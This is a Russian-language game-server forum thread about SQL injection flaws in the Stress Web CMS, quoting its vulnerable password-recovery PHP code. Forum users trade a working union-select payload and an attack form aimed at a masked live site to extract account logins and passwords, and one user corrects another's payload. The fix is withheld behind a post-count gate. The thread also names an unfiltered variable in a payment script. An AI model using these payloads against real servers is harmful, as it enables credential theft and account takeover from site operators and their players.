Ну пишите полность как это всё делать плиз.
NiceSleep ппц а чё стороной те кто незнает им же хочится научиться это делать)
Welcome to 100NT форум администраторов игровых серверов
Register now to gain access to all of our features. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile and so much more. If you already have an account, login here - otherwise create an account for free today!
Register now to gain access to all of our features. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile and so much more. If you already have an account, login here - otherwise create an account for free today!
#19
Отправлено 26 September 2010 - 05:00
не проще ли добавить если цифровой (int) вначале например $var = (int) $var2;
и если var2 не целочисленное значит значние будет равно 0)
мы не знаем какие значения туда должны попасть) а ты говоришь как исправить) к разрабам обращайся)
и если var2 не целочисленное значит значние будет равно 0)
мы не знаем какие значения туда должны попасть) а ты говоришь как исправить) к разрабам обращайся)
#22
Отправлено 09 January 2011 - 19:29
zenn (25 August 2010 - 14:51) писал:
Собственно, набрел случайно на данный кусочек кода. Очень удобное место для проведения +union+select запроса.
Адрес уязвимости: /engine/forget.php
Проверена на: 8.0, 8.0+
Уязвимый участок кода:
П.с. для постояльцев 100НТ фильтр:
[hide posts=50 thank=1]
$lost_l2login = $ldb->safe($_POST["step2"]);
[/hide]
Адрес уязвимости: /engine/forget.php
Проверена на: 8.0, 8.0+
Уязвимый участок кода:
elseif (isset($_POST["submit_lost"]) && isset($_POST["step2"]))
{
$lost_l2answer = $_POST["lost_l2answer"];
$lost_l2login = $_POST["step2"];
list($lost_l2answer_db, $_l2email) = $ldb->fetch_array($ldb->query("SELECT `l2answer`,`l2email` FROM `accounts` WHERE `login`='{$lost_l2login}' LIMIT 0,1"));
if ($lost_l2answer != $lost_l2answer_db)
{
$error_lost = "<div class='error'>Обнаружены следующие ошибки:<br>Ответ на секретный вопрос не верный!</div>";
}
else
{
$lost_l2answer = false;
$tmp_pass = "user" . _code_generate(6);
$tmp_pass_encode = pass_encode($tmp_pass);
$ldb->query($ldb->_parse_query($qList[$l2db_ls]["setPassword"], array("pass" => $tmp_pass_encode, "login" => $lost_l2login)));
if ($ldb->affectedrows() == 1)
{
if ($config["site"]["forget"]["method"] == 1 && $_l2email != "null@null" && $_l2email != "")
{
$_host = $_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : @getenv('HTTP_HOST');
$mail_subject = "Восстановление пароля";
$mail_message = <<<HTML
Уважаемый {$lost_l2login},
Вы сделали запрос на получение забытого пароля на сайте http://{$_host}
Однако в целях безопасности все пароли хранятся в зашифрованном виде, поэтому мы не можем сообщить вам ваш старый пароль, поэтому для Вас был сгенерирован новый пароль:
------------------------------------------------
Ваш логин и пароль на сайте:
------------------------------------------------
Логин: {$lost_l2login}
Пароль: {$tmp_pass}
После авторизации на сайте вы сможете изменить данный пароль на любой другой.
С уважением,
Администрация http://{$_host}
HTML;
$mail_subject = "Восстановление пароля";
$mail_message = "Здраствуйте! \n\r Согласно Вашему запросу для Вас был сгенерирован новый пароль.\n\rДля входа на сайт используйте следующие данные: \n\r Логин: {$lost_l2login} \n\r Пароль: {$tmp_pass} \n\r После авторизации на сайте вы сможете изменить данный пароль на любой другой. \n\r\n\r С уважением администрация сервера http://" . $_host . "";
if (send_mail($_l2email, $lost_l2login, "{$config["site"]["reg"]["email"]}", $mail_subject, $mail_message))
{
$error_lost = "<div class='noerror'>На ваш E-Mail адрес, указанный при регистрации, было отправлено уведомление с новым паролем.</div>";
}
else
{
$error_lost = "<div class='error'>Обнаружены следующие ошибки:<br>Письмо не было отправлено! Попробуйте позже или обратитесь к Администрации.</div>";
}
}
else
{
$error_lost = "<div class='noerror'>Уважаемый посетитель! Согласно Вашему запросу для Вас был сгенерирован новый пароль. Для входа на сайт используйте следующие данные:<br><b>Логин:</b> {$lost_l2login}<br><b>Пароль:</b> {$tmp_pass}<br>После авторизации на сайте вы сможете изменить данный пароль на любой другой.</div>";
}
}
else
{
$error_lost = "<div class='error'>Ошибка базы данных! Попробуйте позже.</div>";
}
}
}
Уязвимая переменная(не фильтруется) :
$lost_l2login = $_POST["step2"];
Используется в SQL-запросе:
list($lost_l2answer_db, $_l2email) = $ldb->fetch_array($ldb->query("SELECT `l2answer`,`l2email` FROM `accounts` WHERE `login`='{$lost_l2login}' LIMIT 0,1"));
Как применить? Я думаю это не составит труда нарушить целостность данного запроса. П.с. для постояльцев 100НТ фильтр:
[hide posts=50 thank=1]
$lost_l2login = $ldb->safe($_POST["step2"]);
[/hide]
Хочу провести запрос, подскажите что неверно:
-1' Union Select login, password from accounts where id='1
Вот скрипт выполняет:
<form action="http://**.ru/index.php?f=forget" method="post"> <input name="step2"> <input name="submit_lost"> <input name="lost_l2answer"> <input type="submit" value="go"> </form>
#23
Отправлено 09 January 2011 - 19:32
А в пост-форму step2 чего тыкаете?
Должно быть примерно так: '+union+select+login,password+from+accounts+where+id='1'+--+
Должно быть примерно так: '+union+select+login,password+from+accounts+where+id='1'+--+
#27
Отправлено 19 April 2011 - 06:06
rwx (17 September 2010 - 21:15) писал:
Прошу прощения за up.
Stress Web 10.08
---
Открываем: engine\robokassa.php,
Смотрим код:

Stress Web 10.08
---
Открываем: engine\robokassa.php,
Смотрим код:
// ...
if ((isset($_POST['InvId']) && !empty($_POST['InvId'])) && (isset($_POST['OutSum']) && !empty($_POST['OutSum'])) && (isset($_POST["Shp_lid"]) && $_POST["Shp_lid"] != ''))
{
$rb_lid = intval($_POST["Shp_lid"]);
if (isset($ldb[$rb_lid]))
{
// чтение параметров
$rb_out_summ = $_POST["OutSum"];
$rb_inv_id = $_POST["InvId"];
$rb_shp_rnd = $_POST["Shp_rnd"];
// ...
$QUERY = "SELECT * FROM `stress_robokassa` WHERE `id`='{$ldb[$rb_lid]->Safe($rb_inv_id)}' AND `InvId`='{$rb_shp_rnd}' AND stage='S'";
// ...
$ldb[$rb_lid]->Query("UPDATE `stress_robokassa` SET `stage`='P',`comment`='Покупка оплачена, но не доставлена' WHERE `id`='{$ldb[$rb_lid]->Safe($rb_inv_id)}' AND `InvId`='{$rb_shp_rnd}'");
// ...
$ldb[$rb_lid]->Query("UPDATE `stress_robokassa` SET `stage`='F',`success`='1',`comment`='Покупка доставлена' WHERE `id`='{$ldb[$rb_lid]->Safe($rb_inv_id)}' AND `InvId`='{$rb_shp_rnd}'");
// ...
Обращаем внимание на то, что $rb_shp_rnd не фильтруется... м Магия? Все равно идет проверка контрольной суммы до запроса.
А контрольную сумму не обойти не зная секретного пароля...
Количество пользователей, читающих эту тему: 1
0 пользователей, 1 гостей, 0 скрытых пользователей

Вход
Регистрация
Наверх











